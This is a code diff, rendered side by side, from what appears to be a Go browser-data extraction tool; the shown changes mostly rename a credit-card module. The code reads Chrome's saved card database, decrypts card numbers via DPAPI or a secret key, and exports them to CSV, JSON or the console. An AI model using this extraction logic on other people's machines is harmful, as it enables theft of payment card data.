|
|
@ -611,21 +611,21 @@ func (p *passwords) OutPut(format, browser, dir string) error { |
|
|
|
} |
|
|
|
} |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
type creditcards struct { |
|
|
|
type creditCards struct { |
|
|
|
mainPath string |
|
|
|
mainPath string |
|
|
|
cards map[string][]card |
|
|
|
cards map[string][]card |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func NewCCards(main string, sub string) Item { |
|
|
|
func NewCCards(main string, sub string) Item { |
|
|
|
return &creditcards{mainPath: main} |
|
|
|
return &creditCards{mainPath: main} |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func (credit *creditcards) FirefoxParse() error { |
|
|
|
func (c *creditCards) FirefoxParse() error { |
|
|
|
return nil // FireFox does not have a credit card saving feature
|
|
|
|
return nil // FireFox does not have a credit card saving feature
|
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func (credit *creditcards) ChromeParse(secretKey []byte) error { |
|
|
|
func (c *creditCards) ChromeParse(secretKey []byte) error { |
|
|
|
credit.cards = make(map[string][]card) |
|
|
|
c.cards = make(map[string][]card) |
|
|
|
creditDB, err := sql.Open("sqlite3", ChromeCreditFile) |
|
|
|
creditDB, err := sql.Open("sqlite3", ChromeCreditFile) |
|
|
|
if err != nil { |
|
|
|
if err != nil { |
|
|
|
return err |
|
|
|
return err |
|
|
@ -646,18 +646,18 @@ func (credit *creditcards) ChromeParse(secretKey []byte) error { |
|
|
|
}() |
|
|
|
}() |
|
|
|
for rows.Next() { |
|
|
|
for rows.Next() { |
|
|
|
var ( |
|
|
|
var ( |
|
|
|
name, expirationm, expirationy, guid string |
|
|
|
name, month, year, guid string |
|
|
|
value, encryptValue []byte |
|
|
|
value, encryptValue []byte |
|
|
|
) |
|
|
|
) |
|
|
|
err := rows.Scan(&guid, &name, &expirationm, &expirationy, &encryptValue) |
|
|
|
err := rows.Scan(&guid, &name, &month, &year, &encryptValue) |
|
|
|
if err != nil { |
|
|
|
if err != nil { |
|
|
|
log.Error(err) |
|
|
|
log.Error(err) |
|
|
|
} |
|
|
|
} |
|
|
|
creditCardInfo := card{ |
|
|
|
creditCardInfo := card{ |
|
|
|
GUID: guid, |
|
|
|
GUID: guid, |
|
|
|
Name: name, |
|
|
|
Name: name, |
|
|
|
ExpirationMonth: expirationm, |
|
|
|
ExpirationMonth: month, |
|
|
|
ExpirationYear: expirationy, |
|
|
|
ExpirationYear: year, |
|
|
|
} |
|
|
|
} |
|
|
|
if secretKey == nil { |
|
|
|
if secretKey == nil { |
|
|
|
value, err = decrypt.DPApi(encryptValue) |
|
|
|
value, err = decrypt.DPApi(encryptValue) |
|
|
@ -667,30 +667,30 @@ func (credit *creditcards) ChromeParse(secretKey []byte) error { |
|
|
|
if err != nil { |
|
|
|
if err != nil { |
|
|
|
log.Debug(err) |
|
|
|
log.Debug(err) |
|
|
|
} |
|
|
|
} |
|
|
|
creditCardInfo.Cardnumber = string(value) |
|
|
|
creditCardInfo.CardNumber = string(value) |
|
|
|
credit.cards[guid] = append(credit.cards[guid], creditCardInfo) |
|
|
|
c.cards[guid] = append(c.cards[guid], creditCardInfo) |
|
|
|
} |
|
|
|
} |
|
|
|
return nil |
|
|
|
return nil |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func (credit *creditcards) CopyDB() error { |
|
|
|
func (c *creditCards) CopyDB() error { |
|
|
|
return copyToLocalPath(credit.mainPath, filepath.Base(credit.mainPath)) |
|
|
|
return copyToLocalPath(c.mainPath, filepath.Base(c.mainPath)) |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func (credit *creditcards) Release() error { |
|
|
|
func (c *creditCards) Release() error { |
|
|
|
return os.Remove(filepath.Base(credit.mainPath)) |
|
|
|
return os.Remove(filepath.Base(c.mainPath)) |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func (credit *creditcards) OutPut(format, browser, dir string) error { |
|
|
|
func (c *creditCards) OutPut(format, browser, dir string) error { |
|
|
|
switch format { |
|
|
|
switch format { |
|
|
|
case "csv": |
|
|
|
case "csv": |
|
|
|
err := credit.outPutCsv(browser, dir) |
|
|
|
err := c.outPutCsv(browser, dir) |
|
|
|
return err |
|
|
|
return err |
|
|
|
case "console": |
|
|
|
case "console": |
|
|
|
credit.outPutConsole() |
|
|
|
c.outPutConsole() |
|
|
|
return nil |
|
|
|
return nil |
|
|
|
default: |
|
|
|
default: |
|
|
|
err := credit.outPutJson(browser, dir) |
|
|
|
err := c.outPutJson(browser, dir) |
|
|
|
return err |
|
|
|
return err |
|
|
|
} |
|
|
|
} |
|
|
|
} |
|
|
|
} |
|
|
@ -809,9 +809,9 @@ type ( |
|
|
|
card struct { |
|
|
|
card struct { |
|
|
|
GUID string |
|
|
|
GUID string |
|
|
|
Name string |
|
|
|
Name string |
|
|
|
ExpirationMonth string |
|
|
|
|
|
|
|
ExpirationYear string |
|
|
|
ExpirationYear string |
|
|
|
Cardnumber string |
|
|
|
ExpirationMonth string |
|
|
|
|
|
|
|
CardNumber string |
|
|
|
} |
|
|
|
} |
|
|
|
) |
|
|
|
) |
|
|
|
|
|
|
|
|
|
|
|